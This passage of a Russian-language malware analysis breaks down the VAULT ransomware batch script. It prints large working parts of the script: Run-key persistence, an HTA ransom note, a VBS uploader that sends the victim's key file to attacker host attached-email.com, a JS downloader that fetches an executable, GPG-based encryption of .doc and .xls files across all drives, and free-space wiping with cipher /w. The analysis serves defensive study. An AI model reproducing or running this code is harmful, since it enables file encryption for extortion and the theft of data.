    "%TEMP%\gpg.exe" --import "%TEMP%\pubring.gpg"
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /t REG_SZ /f /d "notepad %temp%\VAULT.txt"
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /t REG_SZ /f /d "attrib -h %userprofile%\Desktop\vault.txt"
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /t REG_SZ /f /d "wscript //B //Nologo %temp%\e33176c1.js"
    call "%temp%\4c2e533d.cmd"
    echo ^<html^>^<head^>^<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/^>^<style^>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}^</style^>^<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/^>^<title^>Vault Notification^</title^>^<script language="vbscript"^>> "%temp%\ddae25beb5b57d6e.hta"
    
    echo sub Window_Onload>> "%temp%\ddae25beb5b57d6e.hta"
    echo window.resizeTo 1280,725>> "%temp%\ddae25beb5b57d6e.hta"
    echo screenWidth = Document.ParentWindow.Screen.AvailWidth>> "%temp%\ddae25beb5b57d6e.hta"
    echo screenHeight = Document.ParentWindow.Screen.AvailHeight>> "%temp%\ddae25beb5b57d6e.hta"
    echo posLeft = (screenWidth - 1280) / 2 >> "%temp%\ddae25beb5b57d6e.hta"
    echo posTop = (screenHeight - 725) / 2 >> "%temp%\ddae25beb5b57d6e.hta"
    echo window.moveTo posLeft, posTop >> "%temp%\ddae25beb5b57d6e.hta"
    echo end sub >> "%temp%\ddae25beb5b57d6e.hta"
    echo ^</script^>^</head^>^<body scroll="no"^>^<div class="vaustyle"^>^<div class="sc"^>Ваши документы и базы данных были зашифрованы и помещены в^<br^>^☢^ ^<b^>формат .VAULT^</b^>^ ^☢^</div^>^<div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;"^>Для их восстановления необходимо получить ^<b^>Ваш ключ^</b^>^</div^>^<br^>^<div class="briefly"^>^<div class="bti"^>^<b^>Кратко:^</b^>^</div^>^<div class="sced"^>Необходимо произвести 3 шага:^<hr^> ^➠ Перейдите на наш веб-ресурс^<br^> ^Ⓑ Получите свой ключ^<br^>^⤷ ^<b^>Восстановите файлы^</b^>^</div^>^</div^>^<div class="detailed"^>^<div class="bti"^>^<b^>Детально:^</b^>^</div^>^<div class="sced"^>Скачайте ^<b^>Tor^</b^> браузер с оф. сайта ^<form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe"^>^<input class="dbutt" type="submit" value="⇣ Загрузить"^>^</form^>^<form action="https://www.torproject.org/projects/torbrowser.html.en#windows"^>^<input class="dbutt" type="submit" value="Help" style="padding-bottom:1px;"^>^</form^>^<hr^>Перейдите на наш сайт ^<b^>используя Tor^</b^>:^<br^>^<div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;"^>http://restoredz4xpmuqr.onion^</div^>^<form action="http://pastebin.com/rs7jZ0TW"^>^<input class="dbutt" type="submit" value="Не работает?"^>^ ^⤴^</form^>^<hr^>^<div class="fnl"^>Авторизируйтесь ^ ^➤^  ^<b^>Прочитайте отзывы^</b^> ^ ^➤^  Ключ^</div^>^</div^>^<div class="footer"^>^<b^>Note 1:^</b^> Вы не сможете восстановить файлы без уникального ключа.^</div^>^<div class="footer"^>^<b^>Note 2:^</b^> Перед авторизацией, Вы ^<u^>должны^</u^> найти Ваш ^<b^>VAULT.KEY^</b^> на компьютере.^</div^>^<div class="footer"^>^<b^>Note 3: Стоимость полного восстановления на ресурсе не окончательная^</div^>^</div^>^</body^>^</html^>>> "%temp%\ddae25beb5b57d6e.hta"
    copy /y "%temp%\ddae25beb5b57d6e.hta" "%appdata%\ddae25beb5b57d6e.hta"
    del /f /q "%temp%\4c2e533d.cmd"
    attrib +h "%appdata%\ddae25beb5b57d6e.hta"
    attrib +r +s "%temp%\VAULT.KEY"
    attrib +r +s "%appdata%\VAULT.KEY"
    attrib +r +s "%userprofile%\Desktop\VAULT.KEY"
    :6d0f24b8
    echo do_vbsUpload > "%temp%\77406a1e.vbs"
    echo Sub do_vbsUpload^(^) >> "%temp%\77406a1e.vbs"
    echo Dim FileName,DestURL,FieldName >> "%temp%\77406a1e.vbs"
    echo FieldName="FileField" >> "%temp%\77406a1e.vbs"
    echo Dim aCounter,Arg >> "%temp%\77406a1e.vbs"
    echo aCounter=1 >> "%temp%\77406a1e.vbs"
    echo For Each Arg In WScript.Arguments >> "%temp%\77406a1e.vbs"
    echo Select Case aCounter >> "%temp%\77406a1e.vbs"
    echo Case 1: FileName=Arg >> "%temp%\77406a1e.vbs"
    echo Case 2: DestURL=Arg >> "%temp%\77406a1e.vbs"
    echo Case 3: FieldName=Arg >> "%temp%\77406a1e.vbs"
    echo End Select >> "%temp%\77406a1e.vbs"
    echo aCounter=aCounter+1 >> "%temp%\77406a1e.vbs"
    echo Next >> "%temp%\77406a1e.vbs"
    echo UploadFile DestURL,FileName,FieldName >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo Sub UploadFile^(DestURL,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo Const Boundary="---------------------------0123456789012" >> "%temp%\77406a1e.vbs"
    echo Dim FileContents,FormData >> "%temp%\77406a1e.vbs"
    echo FileContents=GetFile^(FileName^) >> "%temp%\77406a1e.vbs"
    echo FormData=BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo IEPostBinaryRequest DestURL,FormData,Boundary >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo Function BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs"
    echo Dim FormData,Pre,Po >> "%temp%\77406a1e.vbs"
    echo Const ContentType="application/upload" >> "%temp%\77406a1e.vbs"
    echo Pre="--"+Boundary+vbCrLf+mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs"
    echo Po=vbCrLf+"--"+Boundary+"--"+vbCrLf >> "%temp%\77406a1e.vbs"
    echo Const adLongVarBinary=205 >> "%temp%\77406a1e.vbs"
    echo Dim RS: Set RS=CreateObject^("ADODB.Recordset"^) >> "%temp%\77406a1e.vbs"
    echo RS.Fields.Append "b",adLongVarBinary,Len^(Pre^)+LenB^(FileContents^)+Len^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS.Open >> "%temp%\77406a1e.vbs"
    echo RS.AddNew >> "%temp%\77406a1e.vbs"
    echo Dim LenData >> "%temp%\77406a1e.vbs"
    echo LenData=Len^(Pre^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(StringToMB^(Pre^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs"
    echo Pre=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^)="" >> "%temp%\77406a1e.vbs"
    echo LenData=Len^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(StringToMB^(Po^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs"
    echo Po=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^)="" >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(Pre^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(FileContents^) >> "%temp%\77406a1e.vbs"
    echo RS^("b"^).AppendChunk^(Po^) >> "%temp%\77406a1e.vbs"
    echo RS.Update >> "%temp%\77406a1e.vbs"
    echo FormData=RS^("b"^) >> "%temp%\77406a1e.vbs"
    echo RS.Close >> "%temp%\77406a1e.vbs"
    echo BuildFormData=FormData >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function IEPostBinaryRequest^(URL,FormData,Boundary^) >> "%temp%\77406a1e.vbs"
    echo Dim IE: Set IE=CreateObject^("InternetExplorer.Application"^) >> "%temp%\77406a1e.vbs"
    echo IE.Navigate URL,,,FormData,_ >> "%temp%\77406a1e.vbs"
    echo "Content-Type: multipart/form-data; boundary="+Boundary+vbCrLf >> "%temp%\77406a1e.vbs"
    echo do While IE.Busy >> "%temp%\77406a1e.vbs"
    echo Wait >> "%temp%\77406a1e.vbs"
    echo Loop >> "%temp%\77406a1e.vbs"
    echo On Error Resume Next >> "%temp%\77406a1e.vbs"
    echo IEPostBinaryRequest=IE.Document.body.innerHTML >> "%temp%\77406a1e.vbs"
    echo IE.Quit >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs"
    echo Dim MPtemplate >> "%temp%\77406a1e.vbs"
    echo MPtemplate="Content-Disposition: form-data; name=""{field}"";"+_ >> "%temp%\77406a1e.vbs"
    echo " filename=""{file}"""+vbCrLf+_ >> "%temp%\77406a1e.vbs"
    echo "Content-Type: {ct}"+vbCrLf+vbCrLf >> "%temp%\77406a1e.vbs"
    echo Dim Out >> "%temp%\77406a1e.vbs"
    echo Out=Replace^(MPtemplate,"{field}",FieldName^) >> "%temp%\77406a1e.vbs"
    echo Out=Replace^(Out,"{file}",FileName^) >> "%temp%\77406a1e.vbs"
    echo mpFields=Replace^(Out,"{ct}",ContentType^) >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function GetFile^(FileName^) >> "%temp%\77406a1e.vbs"
    echo Dim Stream: Set Stream=CreateObject^("ADODB.Stream"^) >> "%temp%\77406a1e.vbs"
    echo Stream.Type=1 >> "%temp%\77406a1e.vbs"
    echo Stream.Open >> "%temp%\77406a1e.vbs"
    echo Stream.LoadFromFile FileName >> "%temp%\77406a1e.vbs"
    echo GetFile=Stream.Read >> "%temp%\77406a1e.vbs"
    echo Stream.Close >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Function StringToMB^(S^) >> "%temp%\77406a1e.vbs"
    echo Dim I,B >> "%temp%\77406a1e.vbs"
    echo For I=1 To Len^(S^) >> "%temp%\77406a1e.vbs"
    echo B=B ^& ChrB^(Asc^(Mid^(S,I,1^)^)^) >> "%temp%\77406a1e.vbs"
    echo Next >> "%temp%\77406a1e.vbs"
    echo StringToMB=B >> "%temp%\77406a1e.vbs"
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Sub Wait^(^) >> "%temp%\77406a1e.vbs"
    echo On Error Resume Next >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo var fp="%%temp%%\\",os="attached-email",WshShell=CreateObject^("WScript.Shell"^),fp=WshShell.ExpandEnvironmentStrings^(fp^);function CreateObject^(b^){return new ActiveXObject^(b^)}function dw^(b,d^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^);new ActiveXObject^("Scripting.FileSystemObject"^);var a=new ActiveXObject^("ADODB.Stream"^);a.Open^(^);a.Type=1;a.Write^(c.ResponseBody^);a.Position=0;a.SaveToFile^(d,2^);a.Close^(^)}dw^("http://"+os+".com/v.vlt",""+fp+"30cb056a.exe"^); > "%temp%\885873e9.js"
    wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js"
    if exist 30cb056a.exe (
    "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c"
    wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf
    del /f /q 30cb056a.exe
    )
    del /f /q "%temp%\885873e9.js"
    del /f /q "%temp%\77406a1e.vbs"
    del /f /q "%temp%\91c09c60.25ca7a7c"
    attrib -h -s "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\*.gpg"
    del /f /q "%temp%\*.*xe"
    echo Y|assoc .vault=d21f132a
    echo Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^)
    echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta"
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f
    del /f /q "%temp%\e33176c1.js"
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f
    start mshta "%temp%\ddae25beb5b57d6e.hta"
    attrib -s -h "%temp%\9480bf43.76a94786"
    del /f /q "%temp%\9480bf43.76a94786"
    if exist "%systemroot%\system32\cipher.exe" (
    FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :461cd8b8 %%s
    goto 3c5d9ac8
    :461cd8b8
    cipher /w:%1:
    goto:eof
    :3c5d9ac8
    )
    del /f /q %0
    :871c371d
    

    Бегло просмотрев код, можно увидеть знаковое сообщение:
    Ваши рабочие документы и базы данных были заблокированы и помечены форматом .vаult

    На этом этапе уже относительно ясно, с чем мы имеем дело. Давайте разберем этот bat-файл чуть подробнее. Задача не сказать чтобы сложная — скорее, долгая.

    4 Анализ исполняемого файла



    4.1 Инициализация



    В начале скрипта задается опция EnableDelayedExpansion. Она обеспечивает несколько вещей — в частности, присвоение переменным значений на этапе выполнения, а не разбора кода. Подробнее можно почитать, например, тут (англ.).

    SetLocal EnableDelayedExpansion
    

    Далее скрипт проверяет, нет ли в папке Temp файла с именем 9480bf43.76a94786. Этот файл — индикатор того, что в данный момент на ПК уже запущен экземпляр вредоносного скрипта.

    Если файл обнаружен — скрипт завершает свою работу, если нет — создает такой файл, записывает туда маркер 871c371d и устанавливает для файла свойства «скрытый» и «системный», а затем продолжает свое выполнение.

    cd "%TEMP%"
    if not exist "%temp%\9480bf43.76a94786" (
    echo 871c371d > "%temp%\9480bf43.76a94786"
    attrib +s +h "%temp%\9480bf43.76a94786"
    ) else (
    goto 871c371d
    )
    

    После этого скачанный на предыдущем этапе файл design.css переименовывается в gpg.exe, причем двумя способами (возможно, для большей надежности). Скачанный файл design.css удаляется.

    rename "%temp%\design.css" "gpg.exe"
    copy /y "%temp%\design.css" "%temp%\gpg.exe"
    del /f /q "%temp%\design.css"
    

    NB:
    Файл «gpg.exe» при запуске с параметром "--help" выдает вот такой забавный баннер:



    Тем не менее, это не похоже на нормальный исполняемый файл GnuPG: если скачать официальный билд 1.4.18, например, отсюда, то можно заметить, что представленный там исполняемый файл gpg.exe имеет размер около 900 КБ, в то время как файл, поставляемый разработчиками вируса, имеет размер порядка 300 КБ, то есть почти в три раза меньше.

    Что же это за файл — для меня пока остается неясным. Либо есть еще какой-то дистрибутив GnuPG с главным исполняемым файлом меньшего размера, либо вирусописатели просто скачали исходный код GnuPG и модифицировали его под свои нужды. Учитывая тот факт, что сейчас этот файл определяется некоторыми антивирусными сканерами как вредоносный, я склоняюсь ко второму варианту. Было бы интересно услышать мнение читателей.

    Далее скрипт устанавливает CP866 в качестве кодовой страницы консоли (что странно — на русскоязычных ОС Windows кодовая страница вроде бы и так CP866).

    chcp 866
    

    За этим следует инициализация некоторых переменных случайными числами. Впоследствии сгенерированные значения будут записаны в файл VAULT.KEY, однако с какой целью — для меня осталось неясным. Единственное, что приходит в голову, — это просто уникальный маркер зараженного ПК. Но зачем он нужен? Было бы здорово услышать от кого-нибудь пару версий.

    set 715c7be3=!RANDOM!
    set b67b5d00=!RANDOM!
    set dc841a88=!RANDOM!
    set db5a2d8a=!RANDOM!
    set ee1f189d=!RANDOM!
    set 2162ea2b=!RANDOM!
    set 58d179b8=!RANDOM!
    set 3d645b52=RU
    

    Идущий далее блок кода подготавливает почву для запуска исполняемого файла gpg.exe. Вначале троянец перемещает в другой каталог старую базу данных утилиты GPG (если она присутствует на ПК), а затем создает файл со списком команд, которые должна выполнить GPG на данном этапе.
    • Key-Type: RSA — тип ключа;
    • Key-Length: 1024 — длина ключа в битах;
    • Name-Real: Cellar — имя пользователя-владельца ключа.

    if exist "%APPDATA%\gnupg" RENAME "%APPDATA%\gnupg" gnupg_%random%
    echo Key-Type: RSA> "%temp%\9c668934.2ca1046c"
    echo Key-Length: 1024>> "%temp%\9c668934.2ca1046c"
    echo Name-Real: Cellar>> "%temp%\9c668934.2ca1046c"
    

    Наконец, после этого запускается сам файл gpg.exe с заданным набором параметров:
    • --batch: пакетный режим (без пользовательского ввода);
    • --homedir "%temp%": установить каталог %temp% в качестве домашнего;
    • --gen-key "%temp%\9c668934.2ca1046c": сгенерировать ключ согласно параметрам, указанным в файле 9c668934.2ca1046c.

    "%temp%\gpg.exe" --batch --homedir "%temp%" --gen-key "%temp%\9c668934.2ca1046c"
    

    После этого gpg создаст в своем рабочем каталоге (%temp%) набор файлов с ключевой информацией.

    Далее осуществляется запись открытого ключа в файл %temp%\03dfb98e.7087b06e. Это — открытый ключ злоумышленников; с его помощью будет потом зашифрован закрытый ключ шифрования пользовательских файлов.

    echo -----BEGIN PGP PUBLIC KEY BLOCK-----> "%temp%\03dfb98e.7087b06e"
    echo Version: GnuPG v1>> "%temp%\03dfb98e.7087b06e"
    echo.>> "%temp%\03dfb98e.7087b06e"
    echo mI0EVbFePwEEAMM+eRmPkcVTTwqLOyCkSlOTDjfnJpU2vTt94yMq1c1Ix1RF2fxp>> "%temp%\03dfb98e.7087b06e"
    echo S9ZDuQ9qfhqUxXiUtsEY7kB1pHtcyCeqtdrYST4YzJTeNCZNTiq2mVkQlPXqcvO/>> "%temp%\03dfb98e.7087b06e"
    echo hXpyYH/DNB6XmdQP9rmb/gIb5qHpRNoWlb1MBDZAJnHU3PEA2LcXbBX/ABEBAAG0>> "%temp%\03dfb98e.7087b06e"
    echo ClZhdWx0Q3J5cHSIuAQTAQIAIgUCVbFePwIbLwYLCQgHAwIGFQgCCQoLBBYCAwEC>> "%temp%\03dfb98e.7087b06e"
    echo HgECF4AACgkQ+Zg2Eii5y+eiQQQAm9r0sfXO5pp4/yy6lJG+zZAiijgzECVAQvw9>> "%temp%\03dfb98e.7087b06e"
    echo j+JE6n7mZnZDm632PrLumTHE9PauifXmyTFf0RPUI/D5B8QFPQn9hoNf041aaEgq>> "%temp%\03dfb98e.7087b06e"
    echo bTQSy7TIwZJfTyZyq/yhJiH0RLI7yhj/88sjX+uu7miGHO9jb1ygTo/qe5n3Q/Vp>> "%temp%\03dfb98e.7087b06e"
    echo xpSJJFU=>> "%temp%\03dfb98e.7087b06e"
    echo =CuiR>> "%temp%\03dfb98e.7087b06e"
    echo -----END PGP PUBLIC KEY BLOCK----->> "%temp%\03dfb98e.7087b06e"
    

    За этим следует минутка интересного: в файл %temp%\3637bf69.36ddf8fe экспортируется закрытый ключ, который будет использоваться для шифрования. Используются следующие параметры:
    • -r Cellar: имя пользователя-владельца ключа;
    • --export-secret-keys: экспорт (в stdout) информации о закрытом ключе;
    • --yes: на большинство вопросов утилиты отвечать «да»;
    • --homedir "%temp%": установить каталог %temp% в качестве домашнего;
    • -a: сделать вывод ASCII armored (все выходные символы будут взяты из таблицы ASCII).

    "%temp%\gpg.exe" -r Cellar --export-secret-keys --yes --homedir "%temp%" -a> "%temp%\3637bf69.36ddf8fe"
    

    Пример сгенерированного ключа (при каждом запуске, разумеется, генерируется новый, уникальный, ключ):
    -----BEGIN PGP PRIVATE KEY BLOCK-----
    Version: GnuPG v1

    lQHYBFXmA8ABBADExeQcls8GeiNhzNMP29XfBG6xI3No4n6/Hc30FopRPZrsHxQW
    thj54lhhHcNwSIWdXfoR/5p1zYEOW5C+fFd5M2apGifrYorzNtNfgV4GtcheRnhg
    xipyDFzdhG+mbpnA4SnZ9VJPdRbaufLkWDO2ZHZNYp3A3VBx6dDB2zW8+wARAQAB
    AAP9G7r3Azpo5t+b5eKmKe7QAfO6H8JAYkXCbpo7gIxpULqkVGYAKuqIXuAm7ATJ
    mqTLGQV57O2/GElDneuJ3KEMTdvZu39z7NCnsEkws3AwkwU5uoaTFDxd+CIVHE6g
    Ln29eoT5NdBJYw2hRiZgnCX5GKVc849IE9ELtmvQkw2RaSkCANjn2jcSbLPwBdz9
    fySdoUGu02AEenWz3c6hCuUSGzX/2/tXm/xWgaxlQCsfF6TEOUgcbnmzHINY8VjF
    769958kCAOg9G0Xn5U5i352GAybOnn5lEBm6dh8/pEis804MywaZNmPur9DOJIXS
    7oCwQnfj4z+hAJEpa7vWtT1PgDyV6KMB/jxJ6deTkpBqkMdY6a+BFEPUUzzOm5js
    2qhsl2TRTnOwIe1N4TEiCSAwS515jUDtU+xz4dsxwyhrUUDznaUEfrijdrQGQ2Vs
    bGFyiLgEEwECACIFAlXmA8ACGy8GCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJ
    EOiU7FYrzN14/cYEAJrXHg0aRasSUs6pnIOf+N8vwznPEzPGCCfEAI56WVxSZwxP
    D5Rp/QIF51hJQQgOUv2AzC9INzCkT0AJn8Tejd1SQWF9y53nk8R4HK0BGftBlUNS
    wBk2+dwH/VEhvGWa+Mlj9t2kHgim9wQowRa47QWrEUfWdOlj3Fgxc4kKD6zU
    =O4tL
    -----END PGP PRIVATE KEY BLOCK-----

    Посмотрим на этот файл и хорошенько его запомним. Пока это только зародыш, но всего через несколько минут он превратится в печально известный VAULT.KEY.

    Следующая строка удаляет созданный ранее файл %temp%\9c668934.2ca1046c с параметрами ключа.

    del /f /q "%temp%\9c668934.2ca1046c"
    

    После этого в файл %temp%\3637bf69.36ddf8fe дописываются дата, имя пользователя и имя ПК, а также некоторая служебная информация и несколько случайных чисел, сгенерированных в начале работы скрипта.

    echo.>> "%temp%\3637bf69.36ddf8fe"
    echo BDATE: !DATE!>> "%temp%\3637bf69.36ddf8fe"
    echo UNAME: !USERNAME!>> "%temp%\3637bf69.36ddf8fe"
    echo CNAME: !COMPUTERNAME!>> "%temp%\3637bf69.36ddf8fe"
    echo PQQID: AKG-4813>> "%temp%\3637bf69.36ddf8fe"
    echo ULANG: !3d645b52!>> "%temp%\3637bf69.36ddf8fe"
    echo 01HSH: !715c7be3!>> "%temp%\3637bf69.36ddf8fe"
    echo 02HSH: !b67b5d00!>> "%temp%\3637bf69.36ddf8fe"
    echo 03HSH: !db5a2d8a!>> "%temp%\3637bf69.36ddf8fe"
    echo 04HSH: !dc841a88!>> "%temp%\3637bf69.36ddf8fe"
    echo 05HSH: !ee1f189d!>> "%temp%\3637bf69.36ddf8fe"
    echo FHASH: !2162ea2b!>> "%temp%\3637bf69.36ddf8fe"
    


    4.2 Подготовка к шифрованию файлов



    Важное замечание:
    Сам главный скрипт (install.bat) выполняет не так уж и много операций. Основную работу выполняют его дочерние процессы-скрипты, которые запускаются с помощью «пусковых установок» — крохотных JS- и VB-файлов.

    Например, шифрование происходит в три этапа. Вначале создается файл %temp%\61231f25.9db8b89a с кодом скрипта, который будет зашифровывать все файлы с определенными расширениями. Затем из этого файла удаляются все строки, относящиеся к шифрованию «системных» файлов (тех, которые находятся в системных каталогах или имеют некоторые ключевые слова в именах), и результат сохраняется под другим именем (%temp%\4c2e533d.cmd). После этого файл %temp%\4c2e533d.cmd запускается на выполнение с помощью JS-стартера.

    Следующая часть кода ищет на ПК все файлы с расширениями «xls» и «doc» и подготавливает информацию для их шифрования.

    echo chcp 866 > "%temp%\61231f25.9db8b89a"
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :1010f32d %%f
    
    :1010f32d
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    

    Вроде бы всего несколько строк кода, но какие-то они запутанные. Давайте разберемся.

    Подготовка к шифрованию:
    Первая часть:

    dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do (
    

    Команда dir /B выведет имена всех файлов, которые находятся в "%1:\". Фактически так скрипт пробежит по всем томам (логическим дискам), имеющимся на ПК: «A:\», «B:\», «C:\» — и так далее, до «Z:/».

    Для каждого тома вызывается цикл for с ключом /r, который обеспечивает рекурсивный обход всех подкаталогов и выполнение тела цикла для всех вложенных файлов.

    Из всех найденных файлов отбираются файлы с расширением «xls» и «doc», и в файл %temp%\61231f25.9db8b89a записывается последовательность из трех команд, которая будет вызвана для каждого файла.

    Вторая часть:

    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"
    move /y "%%i.gpg" "%%i"
    RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    

    Первая команда из приведенной выше последовательности шифрует файлы. Давайте разберем указанные параметры GPG:
    • -r Cellar: имя пользователя;
    • --yes: на большинство вопросов утилиты отвечать «да»;
    • -q: стараться сделать процесс как можно более «тихим» (без взаимодействия с пользователем);
    • --no-verbose: убрать информационные сообщения;
    • --trust-model always: заставляем GPG доверять секретному ключу, который мы укажем (без этой опции GPG может выдать предупреждение о том, что ключ шифрования не подписан доверенной цифровой подписью);
    • --encrypt-files: позволяет шифровать сразу несколько файлов (имя каждого файла должно быть записано с новой строки).

    После выполнения первой команды утилита gpg создает рядом с исходным файлом его зашифрованную версию. Например, если имя исходного файла — test.doc, то зашифрованный файл будет иметь имя test.doc.gpg.

    Вторая команда замещает исходные файлы зашифрованными.

    Третья команда меняет расширение зашифрованных файлов на «vault». Таким образом, вместо файла test.doc появится файл test.doc.vault.

    Таким образом, в файле %temp%\61231f25.9db8b89a будет содержаться подпрограмма шифрования всех файлов с расширением «xls» и «doc», обнаруженных на томах ПК (в том числе и на подключенных сетевых дисках).

    Третья часть:

    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    

    Скрипт дописывает в конец файла %temp%\21b0fb7b.7ca0ec0c исходные имена файлов, подлежащих зашифрованию.

    Далее скрипт дописывает в файл %temp%\61231f25.9db8b89a еще несколько команд. Они ищут файл VAULT.KEY в одном из следующих каталогов:
    • %TeMp%;
    • %AppDATA%;
    • %USERPROFILE%\Desktop.

    Если такой файл находится, то в его конец дописывается строка 01FNSH-OK — по всей видимости, маркер успешного окончания первого этапа шифрования файлов.

    echo if exist "%%TeMp%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 01FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto 441f5342
    

    Затем начинается следующий функциональный блок кода — удаление теневых копий.

    В папке %Temp% создается три файла:
